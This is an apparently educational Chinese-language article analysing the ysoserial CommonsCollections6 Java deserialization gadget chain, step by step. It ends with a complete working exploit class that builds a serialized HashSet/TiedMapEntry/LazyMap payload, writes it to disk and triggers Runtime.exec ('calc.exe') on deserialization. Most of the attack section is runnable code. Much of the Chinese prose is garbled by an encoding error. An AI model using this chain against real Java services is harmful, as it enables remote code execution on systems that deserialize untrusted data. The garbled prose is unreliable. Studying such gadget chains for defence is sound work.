java?安全?ysoserial?CommonsCollections6?分析
利用鏈如下
其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()與CC1鏈一致。
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
1、InvokerTransformer.transform()
因?yàn)镽untime類不實(shí)現(xiàn)Serializable接口,所以使用Class類對(duì)象反射構(gòu)造Runtime對(duì)象來(lái)實(shí)現(xiàn)exec方法。InvokerTransformer.transform()具備反射執(zhí)行能力。
Class cr = Class.forName("java.lang.Runtime");
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
2、ChainedTransformer.transform()
使用ChainedTransformer構(gòu)造方法,給iTransformers賦值,在transform中執(zhí)行iTransformers所有元素的transform,transform傳入的參數(shù)為前一個(gè)元素的對(duì)象。所以這個(gè)方法可以對(duì)步驟1中鏈執(zhí)行。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
創(chuàng)建一個(gè)Transformer[],包含步驟1中所有對(duì)象。
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
由于步驟1中cr對(duì)象是Class對(duì)象,不實(shí)現(xiàn)Transformer接口。通過(guò)ConstantTransformer的transform方法得到一個(gè)實(shí)現(xiàn)Transformer的方法。
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
所以最終得到的transformers是
public static void main(String[] args) throws Exception {
// Class cr = Class.forName("java.lang.Runtime");
;
Transformer[] transformers = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
new ChainedTransformer(transformers).transform(1);
//calc.exe
}
3、LazyMap.get()
LazyMap類的get方法實(shí)現(xiàn)了,對(duì)factory的transform。factory的decorate方法實(shí)現(xiàn)了對(duì)factory的賦值,Transformer類型
所以向decorate傳入new ChainedTransformer(transformers),最終調(diào)用get來(lái)實(shí)現(xiàn)new ChainedTransformer(transformers)的transform。
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
當(dāng)然調(diào)用get方法的時(shí)候,如果key是不存在的才會(huì)執(zhí)行factory.transform(key),所以最終的調(diào)用
Transformer transformer = new ChainedTransformer(transformers); Map map = new HashMap(); map.put(1,"hello"); Map lazyMap = LazyMap.decorate(map, transformer); lazyMap.get(2); //calc.exe
4、TiedMapEntry
根據(jù)利用鏈,下一步通過(guò)TiedMapEntry構(gòu)造方法傳入map和key,通過(guò)getValue實(shí)現(xiàn)對(duì)map參數(shù)的get操作,所以將lazyMap和一個(gè)不存在的key作為參數(shù)傳入。
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
利用鏈
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2); tiedMapEntry.getValue();
再看TiedMapEntry的hashCode方法,實(shí)現(xiàn)了getValue()的調(diào)用。
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
利用鏈
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2); tiedMapEntry.hashcode();
5、HashMap
hashmap的hash實(shí)現(xiàn)了對(duì)參數(shù)key的hashcode方法,put方法實(shí)現(xiàn)了hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
利用鏈
Map hashmap = new HashMap(); hashmap.put(tiedMapEntry,1); //calc.exe
6、HashSet
根據(jù)利用鏈看HashSet類的readobject(),由于map = new HashMap<>(),最終實(shí)現(xiàn)了在readobject中調(diào)用了hashmap.put方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
...
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
利用鏈
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();
由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中實(shí)際執(zhí)行的lazyMap.get(2)。
public Object getValue() {
return map.get(key);
}
lazyMap.get(2)該執(zhí)行過(guò)程中,如果lazyMap不存在key,會(huì)對(duì)lazyMap儲(chǔ)值。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
所以在做序列化的時(shí)候?qū)嶋HlazyMap中已經(jīng)存在了key=2,反序列化的時(shí)候map.containsKey(key) == false不成立,在反序列化過(guò)程中無(wú)法成功執(zhí)行Object value = factory.transform(key);
在序列化之前需要將該key移除
lazyMap.remove(2);
優(yōu)化:
由于hashSet.add(tiedMapEntry);中,執(zhí)行了map.put(tiedMapEntry),最終會(huì)在本地執(zhí)行exec。
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
在一開始可以對(duì)transformers賦空值,在序列化之前再對(duì)ChainedTransformer類產(chǎn)生的transformer的iTransformers通過(guò)反射做修改,將實(shí)際執(zhí)行的exec執(zhí)行鏈傳入。
Transformer[] transformers = {};
Transformer[] transformerslist = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);
最終的利用鏈
public class CC6Test1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = {};
Transformer[] transformerslist = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
lazyMap.remove(2);
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();
}
}

以上就是java 安全 ysoserial CommonsCollections6 分析的詳細(xì)內(nèi)容,更多關(guān)于java ysoserial CommonsCollections6的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
java?webservice超時(shí)時(shí)間設(shè)置方法代碼
當(dāng)我們使用WebService進(jìn)行調(diào)用時(shí),有時(shí)會(huì)出現(xiàn)超時(shí)的情況,下面這篇文章主要給大家介紹了關(guān)于java?webservice超時(shí)時(shí)間設(shè)置方法的相關(guān)資料,文中通過(guò)代碼介紹的非常詳細(xì),需要的朋友可以參考下2024-01-01
Mybatis?Plus使用XML編寫動(dòng)態(tài)sql的超簡(jiǎn)易方法
這篇文章主要介紹了Mybatis?Plus使用XML編寫動(dòng)態(tài)sql的超簡(jiǎn)易方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2022-01-01
一篇文章帶你了解Java Spring基礎(chǔ)與IOC
這篇文章主要介紹了Java Spring基礎(chǔ)與IOC,文中講解的相關(guān)內(nèi)容非常詳細(xì),也運(yùn)用了大量的代碼進(jìn)行講解,感興趣的小伙伴可以參考一下2021-08-08
Springboot整合ActiveMQ實(shí)現(xiàn)消息隊(duì)列的過(guò)程淺析
昨天仔細(xì)研究了activeMQ消息隊(duì)列,也遇到了些坑,下面這篇文章主要給大家介紹了關(guān)于SpringBoot整合ActiveMQ的相關(guān)資料,文中通過(guò)實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2023-02-02
MyBatis中使用分頁(yè)插件PageHelper實(shí)現(xiàn)分頁(yè)功能
分頁(yè)是經(jīng)常使用的功能,本文主要介紹了Mybatis中處理特殊SQL處理邏輯,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2023-06-06
SpringBoot 二維碼生成base64并上傳OSS的實(shí)現(xiàn)示例
本文主要介紹了SpringBoot 二維碼生成base64并上傳OSS的實(shí)現(xiàn)示例,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2022-05-05
SpringMVC請(qǐng)求的路徑變量里面寫正則表達(dá)式的方法
這篇文章主要介紹了SpringMVC請(qǐng)求的路徑變量里面寫正則表達(dá)式的相關(guān)知識(shí),本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2019-09-09

